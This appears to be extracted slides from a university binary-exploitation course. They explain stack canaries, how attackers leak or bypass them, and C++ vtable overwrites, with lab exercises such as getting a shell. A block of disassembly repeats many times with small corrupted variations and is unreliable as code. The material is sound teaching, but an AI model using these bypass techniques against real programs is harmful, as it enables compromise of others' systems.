                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

#-fd.c - Solution

- file descriptors from parent processes are inherited by children
- fd to password file wasn't closed

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Stack Canaries

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Sophia D'Antoine

Lecture Overview

1. How do we protect against overflows?
2. Different Types
3. Guarding the Stack
4. Ways to Leak Information
5. When All Else Fails

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Overflow Protections

Before the Overflow (program and compiler)

- program well — strcpy v strncpy v strlcpy
- validate input — ASCII
- static/ dynamic analysis — LLVM or SAT Solvers

After the Overflow (OS level)

- intercept function calls — Link Libsafe
- turn off execution — NX bit / DEP
- randomize the addresses — ASLR

Avaya Labs ⇒ http://directory.fsf.org/wiki/Libsafe

BUT WAIT
THERE'S MORE!

…. Stack Canaries!

+ After the Overflow (Compiler and OS level)
  - sometimes called Stack Guards or Cookies
  - embed random “canaries” in stack frames
  - verify their integrity PRIOR to Function RETURN

…. Stack Canaries!

…. Stack Canaries!

- What is a canary?
  - its a random integer
  - pushed onto stack after certain triggers are pushed
  - popped off stack and checked before the trigger is read from
  - valued saved as global variable padded by unmapped pages

…. Stack Canaries!

+ Drawbacks
    1. adds overhead (huge cache footprint)
    2. only defends against stack overflows
    3. NULL canaries can potentially be abused
    4. Random canaries can potentially be learned
        a. format string vulns
        b. information leak

Lecture Overview

1. How do we protect against overflows?
2. Different Types
3. Guarding the Stack
4. Ways to Leak Information
5. When All Else Fails

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Terminator Canaries

The Canary = 0 (null), newline, linefeed, EOF, -1

- targets string functions
  - they will stop copying at the terminator
- attackers cannot use string functions as the attack vector
- ignores rest of program security

Terminator Canaries

How to Defeat This:

- if input is treated as binary data and not text
- overwrite the canary with its known value, passing the canary check code
  - control information with mismatched values
  - executed soon before the return instruction

Terminator Canaries

Seems like a bad idea, who would use this…..

GCC

"If a random generator can't be used, the protector switches the guard to the terminator canary."

Randomized Canaries

Most popular (GCC uses them)

- random number chosen at program startup
  - attacker must be dynamic
- inserts into every stack frame
- trigger: return addresses
- Some possibilities
  - NULL canaries
- gcc on a typical 32-bit machine
  is ⇒ 4 byte canary

Safeguarding the Return Addresses

Randomized Canaries

GCC

-fstack-protector-all
-fstack-protector

+ char array of 8 bytes or more declared on the stack
+ --param=ssp-buffer-size=N

-fstack-protector-strong

+ declaration of type or length of local arrays
+ local var addresses or local register variables

Randomized Canaries

Random XOR Canaries

- They are still random!
- XOR-ed with all or part of the control data
  - if altered, the canary value is immediately invalidated
  - same vulnerabilities as random canaries in reading off stack

http://lwn.net/1999/1111/a/stackguard.html

http://deployingradius.com/pscan/stackguard.txt

Random XOR Canaries

- To Bypass: read value from the stack
  - get the canary value
  - the control data
  - the algorithm

⇒ RE the XOR-ed canary

⇒ spoof custom canary for shellcode

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                0Dh
                sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Random XOR Canaries

- Benefits
  - same protection as basic random canaries
  - defends against specific attacks involving control data or retur value changes without overflowing the canary (invalidates it)
    - XOR's the canary with the return address
  - protect against overflowing buffers in structures
    - attacker tries to make pointer point at control data

Random XOR Canaries

- Downsides
  - + more overhead means more security
    - # of canaries (StackGuard uses 128 static) & complexity of algorithm
  - + only protects control data from being altered

    IF the attacker is overwriting pointers
  - + still allows overwrite of data and the pointers themselves
    - function pointers can be victimized

      ⇒ overflow into them and call to execute shellcode

Random (XOR) Canaries

Moral of the Story:

everything relies on good crypto

For Both Random and Random XOR, the main security element relies on good random number generation. Pseudorandom sequences can be learned. Cryptographic PRNG can be found.

Lecture Overview

1. How do we protect against overflows?
2. Different Types
3. Guarding the Stack
4. Ways to Leak Information
5. When All Else Fails

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Guarding the Stack

StackGuard - Used in patches of GCC

- started in 1998 as static canaries
- original prototype written in a few days by an intern
  - promptly patched into GCC
  - first canary was hardcoded

Guarding the Stack

StackGuard - The first canary

0xDEADBEEF

Guarding the Stack

StackGuard

- terminator canary
  - CR, LF, 00, -1
- single random canary
  - using /dev/random
- single XOR random canary
  - xor-ed return address

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Guarding the Stack

StackGuard - Extra Benefits

- implemented as modified assembler
- single XOR random canary
  - stores the valid return address in safe memory

Guarding the Stack

Modding StackGuard - PointGuard

- does everything StackGuard does but is newer and slower
- allows canaries to be added to different data items,
  - automatically: FP and longjump buffers
  - requires users to specify which data items they think will be exploited

Guarding the Stack

Modding StackGuard - ProPolice

- also at the compiler level (a patch to GCC)
- does everything StackGuard does
- enhancements:
  - variable sorting

    ⇒ buffers sorted to top of local variables, means they can't overflow important values

Guarding the Stack

Modding StackGuard - ProPolice

...so this sounds like a good idea, is it even used?

- Visual Studios 2003 and higher
- GCC uses it with the feature

```
-fstack_protector
```

Guarding the Stack

Modding StackGuard - ProPolice

{ GCC 3.4.1 `-fstack_protector` }

Guarding the Stack

Modding StackGuard - ProPolice

{ From ProPolice Documentation }

Before → After

```
void bar( void (*func1)() )
{
        void (*func2)();
        char buf[128];
        .......
        strcpy (buf, getenv ("HOME"));
        (*func1)(); (*func2)();
}
```

```
void bar( void (*tmpfunc1)() )
{
        char buf[128];
        void (*func2)();
        void (*func1)(); func1 = tmpfunc1;
        .......
        strcpy (buf, getenv ("HOME"));
        (*func1)(); (*func2)();
}
```

Guarding the Stack

Modding StackGuard - ProPolice

{ MS Visual Studio 2003+ /GS }

Lecture Overview

1. How do we protect against overflows?
2. Different Types
3. Guarding the Stack
4. Ways to Leak Information
5. When All Else Fails

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Ways to Leak the Canary

- Focus on Random Canaries
- Overwrite the Canary with the same value
  - brute force
  - learnable random numbers
  - unprotected data type
  - reading off of the stack

Ways to Leak the Canary

- Brute Force
  - cool example attack: http://vagmour.eu/persistence-1/
  - requires same canary for each thread so can't call execve()
  - overwrite canary byte by byte

Ways to Leak the Canary

- Learnable Random Numbers
  - GS calculate the canary 2007
    http://uninformed.org/?v=7&a=2&t=sumry
  - Android PRNG example 2014 (IBM):
    https://www.usenix.org/system/files/conference/woot14/woot14-kaplan.pdf
  - bad crypto for random generator
  - if /dev/random is not found, sometimes pseudo-random generators are used

Ways to Leak the Canary

- Unprotected Data Item
  - usually if it isn't a string buffer, there will not be a canary

Ways to Leak the Canary

- Reading Off of the Stack
  - buffer overflow
    - overwrite null terminator

      ⇒ read past the end of array
    - format string vulnerabilities

      http://www.exploit-monday.com/2011/06/leveraging-format-string.html

Ways to Leak the Canary

- Reading Off of the Stack
  - information leaks /memory leaks (out of scope)
    - more complicated attack
    - useful against the stack reordering done by StackGuard/ ProPolice
    - pointers dangling /writing or reading after free
    - http://phrack.org/issues/56/5.html

Terminator Canaries

Exercise

Terminator Canary Bypass

ssh lecture@warzone.rpis.ec

Lecture Overview

1. How do we protect against overflows?
2. Different Types
3. Guarding the Stack
4. Ways to Leak Information
5. When All Else Fails

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Remember…

No canaries on the heap!

C++ Differences and Concepts

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Branden Clark

Overview

- C++ Differences
- Class layout
- VTables
  - Definition
  - Exploitation

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

C++ Differences

- Standard library
- Memory management
- Exceptions
- Classes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Standard library

- std::cout << “Hello world!” << std::endl;
  - printf(“Hello world!\n”);
- std::cin >> string_buf;
  - scanf(“%s”, char_buf);

Standard library

- std::cout << “Hello world!” << std::endl;
  - printf(“Hello world!\n”);
- std::cin >> string_buf;
  - scanf(“%s”, char_buf);

Use of C++ std::string removes a lot of potential memory corruption introduced by C-style strings :(

Standard library

- Makes for good obfuscation ;)
  - std::cout << msg << std::endl

```
sub     esp, 8
lea     eax, [ebp+var_10]
push    eax
push    offset _ZSt4cout@@GLIBCXX_3_4
call    __ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E ; s
add     esp, 10h
sub     esp, 8
push    offset __ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ ; std::endl<c
push    eax
call    __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
add     esp, 10h
```

Standard library

- Makes for good obfuscation ;)
  - std::cout << msg << std::endl

```
sub     esp, 8
lea     eax, [ebp+var_10]
push    eax
push    offset _ZSt4cout@@GLIBCXX_3_4
call    __ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E ; s
add     esp, 10h
sub     esp, 8
push    offset __ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ ; std::endl<c
push    eax
call    __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
add     esp, 10h
```

C++ name mangling

```
lecture@warzone:~$ c++filt _ZNSolsEPFRSoS_E
std::basic_ostream<char, std::char_traits<char> >::operator<<(std::basic_ostream<char, std::cha
r_traits<char> >& (*)(std::basic_ostream<char, std::char_traits<char> >&))
```

Memory Management

- char *buf = new char[10];
  - char *buf = (char *)malloc(sizeof(char) * 10);
- delete [] buf;
  - free(buf);

Memory Management

- char *buf = new char[10];
  - char *buf = (char *)malloc(sizeof(char) * 10);
- delete [] buf;
  - free(buf);

need '[]' for arrays

Exceptions

```
#include <cstdio>

int
main (int argc, char *argv[])
{
  try {
    throw 20;
  } catch (int e) {
    printf("An exception occurred: %d\n", e);
  }

  return 0;
}
```

Exceptions

- On Windows: SEH
  - Structured Exception Handling
  - It's pwnable
  - For the curious

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Classes

- Structs group elements in C
- Classes are (usually) used in C++

```
1  class Rect {
2    public:
3      Rect() : width(0), height(0) {}
4      int area() { return width*height; }
5      void set_vals(int w, int h);
6    private:
7      int width;
8      int height;
9  };
10
11 void Rect::set_vals(int w, int h)
12 {
13   this->width = w;
14   this->height = h;
15 }
16
```

Classes

- "this" pointer
  - Pointer to the calling object
  - The first argument to a member function

```
int
main(int argc, char *argv[])
{
    Rect rect;
    rect.set_vals(atoi(argv[1]), atoi(argv[2]));
    std::cout << rect.area() << std::endl;

    return 0;
}
```

```
sub     esp, 4
push    esi                 ; int
push    eax                 ; int
lea     eax, [ebp+rect_obj]
push    eax                 ; this
call    _ZN4Rect8set_valsEii ; Rect::set_v
add     esp, 10h
sub     esp, 0Ch
lea     eax, [ebp+rect_obj]
push    eax                 ; this
call    _ZN4Rect4areaEv ; Rect::area(void)
add     esp, 10h
```

Class layout

- Basic classes look like structs

```
int
main(int argc, char *argv[])
{
  Rect r;

  printf("sizeof(r) = %d\n", sizeof(r));

  int *vars = (int *)&r;

  printf("width =  %d, height = %d\n", vars[0], vars[1]);

  r.set_vals(10, 24);
  printf("set_vals(10, 24);\n");
  printf("width =  %d, height = %d\n", vars[0], vars[1]);

  return 0;
}
```

```
[Slate][MBE]$ ./a.out
sizeof(r) = 8
width =  0, height = 0
set_vals(10, 24);
width =  10, height = 24
```

Class layout

- Inheritance

```
1  class Rect {
2    public:
3      Rect() : width(0), height(0) {}
4      int area() { return width*height; }
5      virtual void set_vals(int w, int h);
6    protected:
7      int width;
8      int height;
9  };
10
11 void Rect::set_vals(int w, int h)
12 {
13   this->width = w;
14   this->height = h;
15 }
16
17 class Square : public Rect {
18   public:
19     Square() : Rect() {}
20     void set_vals(int l) { width = height = l; };
21 };
22
```

Class layout

- Inheritance introduces (non-standard) complexity
- Ordering of VTables and variables can change via compiler, system, etc.

VTables

- Virtual (function|method) table
- A pointer to an array of function pointers
  - Usually first (4|8) bytes of the class
  - Pointers to virtual functions only

VTables

- Virtual (function|method) table
- A pointer to an array of function pointers
  - Usually first (4|8) bytes of the class
  - Pointers to virtual functions only

VTables enable polymorphism

VTables

- List of most-derived functions to a class
  - closest one going up the hierarchy

VTables

- List of most-derived functions to a class
  - closest one going up the hierarchy

Exercise 1

- What is the vtable for each of the objects?
- cpp_lec01
  - Guess, or use gdb

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+var_4], esi
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

VTables - Exploitation

- Instance replacement
  - What if we change which VTable is used?

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

VTables - Exploitation

- Function pointers are memory, too
  - What if we overwrite them?
  - Modify the VTable

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                cmp     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Exercise 2

- Try triggering the other calls (or get a shell)
- cpp_lec02
  - Need a pointer to the final address

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
